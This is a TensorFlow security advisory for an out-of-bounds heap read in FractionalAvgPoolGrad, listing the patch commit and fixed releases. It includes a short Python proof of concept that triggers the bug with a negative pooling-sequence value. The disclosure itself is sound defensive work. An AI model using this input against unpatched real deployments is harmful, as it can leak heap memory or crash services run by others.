Out of bounds read in Tensorflow
### Impact
The implementation of `FractionalAvgPoolGrad`
https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360 does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=[2,2,2,2],
out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],
row_pooling_sequence=[-10,1,2,3],
col_pooling_sequence=[1,2,3,4],
overlapping=True)
return y
test()
```
### Patches
We have patched the issue in GitHub commit 002408c3696b173863228223d535f9de72a101a9
https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.